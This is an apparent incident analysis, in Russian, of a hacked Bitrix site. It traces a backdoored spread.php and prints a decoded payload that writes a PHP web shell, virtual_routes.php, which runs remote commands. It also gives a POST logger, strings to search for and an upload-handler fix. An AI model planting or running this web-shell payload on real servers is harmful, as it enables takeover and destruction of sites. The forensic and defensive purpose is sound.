hck bx 0526

Что-то в очередной раз пошло не так.

Проверяем логи запросов — находим промежуток времени, когда "чт0-то пошло не так".

В логе видно, что после POST запроса на /bitrix/virtual_routes.php что-то пошло не так — начались 404 ответы.

В самом ядре Битрикса такого файла быть не должно.

Хорошо, посмотрим содержимое этого файла.

Смотрим... и не находим папки bitrix и upload. "Что-то пошло не так" обретает еще больший контраст.

Проверив в логе, какие запросы с этого IP были совершены еще, обнаруживается, что были только запросы на spread.php

Все бы ничего, ведь в Битриксе есть файл spread.php, но почему этот находится в каталоге tools, не понятно (на самом деле прекрасно понятно).

Так же к этому файлу было много запросов и с других IP.

Что за содержимое в этом притягивающем файле — узнать пока что не удастся, т.к. все файлы ядра были стерты (бекапы соответственно тоже, но благо есть snapshot машины).

Но на выручку приходит файл с логами POST запросов, генерируемый скриптом, который был ранее оставлен мной в ядре Битрикса для таких случаев.

Косяк был вот еще, что в лог POST запросов не сохранялся путь к файлу, который был вызван. Поэтому, среди миллиона строк, найти строки с обращениями к файлам spread.php и virtual_routes.php будет затруднительно.

Поэтому проверяем эти файлы на восстановленной машине — файл virtual_routes.php отсутствует, а вот файл spread.php существует и датируется 2019 годом...

Скорее всего его изменили через дыры еще до их фикса.

Видим до боли знакомый код со склонностью к payload через state.

В логе POST запросов находим множество запросов с state.

Расшифровав один из, получаем команду на создание того самого virtual_routes.php файла.

0=file_put_contents&1=../virtual_routes.php&2=%3C%3F%0A%0Arequire_once%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27%2Fbitrix%2Fmodules%2Fmain%2Finclude%2Fprolog_before.php%27%29%3B%0A%0Afunction+urlDecodeText%28%24encodedText%29+%7Breturn+urldecode%28base64_decode%28hex2bin%28%24encodedText%29%29%29%3B%7D%0A%0ACModule%3A%3AIncludeModule%28%27controller%27%29%3B%0A%0A%24cache+%3D+%24_POST%5B%27cache%27%5D%3B%0A%0Aif%28isset%28%24_POST%5B%27hash%27%5D%29+%26%26+%24_POST%5B%27hash%27%5D+%3D%3D%3D+%2775hrulie1b84beecr70aavix903%27%29+%24result+%3D+CControllerClient%3A%3ARunCommand%28urlDecodeText%28%24cache%29%2C+0%2C+0%29%3B%0A%0A%3F%3E

Переданный следующий payload в запросе на это файл "убил" сайт

Этот payload заменил содержимое index.php файла и стер папку bitrix и upload.

По логам было видно, что происходило несколько запросов к spread.php на создание virtual_routes.php, но кто-то успел отправить на него более убийственный запрос.

Проверка файлов ядра на дыры

Скрипт для сохранения POST запросов в лог (мало ли пригодятся) дописать в [bitrix/modules/main/bx_root.php] и заодно проверить этот файл на плохой код

<?
// ! logger
if (!empty($_POST)) {
 try {
  $req_dump = '------- ' . date('Y-m-d H:i:s') . "\n" . $_SERVER['SCRIPT_FILENAME'] . ' -- ' . $_SERVER['REMOTE_ADDR'] . "\n" . print_r($_REQUEST, true);
  $fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/../ff-logs/all-posts-' . date('Y-m-d') . '.txt', 'a');
  fwrite($fp, $req_dump);
  fclose($fp);
 } catch (\Throwable $th) {}
}
?>

Проверить файл [bitrix/modules/main/include/prolog_after.php] на различные CControllerClient::RunCommand, hex2bin, str_rot13

Фикс для загрузчика файлов

Проверяем файл [bitrix/modules/fileman/admin/fileman_html_editor_action.php]

if ($GLOBALS['USER'] instanceof \CAllUser && $GLOBALS['USER']->getId() && check_bitrix_sessid()) {
\CHTMLEditor::RequestAction($action);
}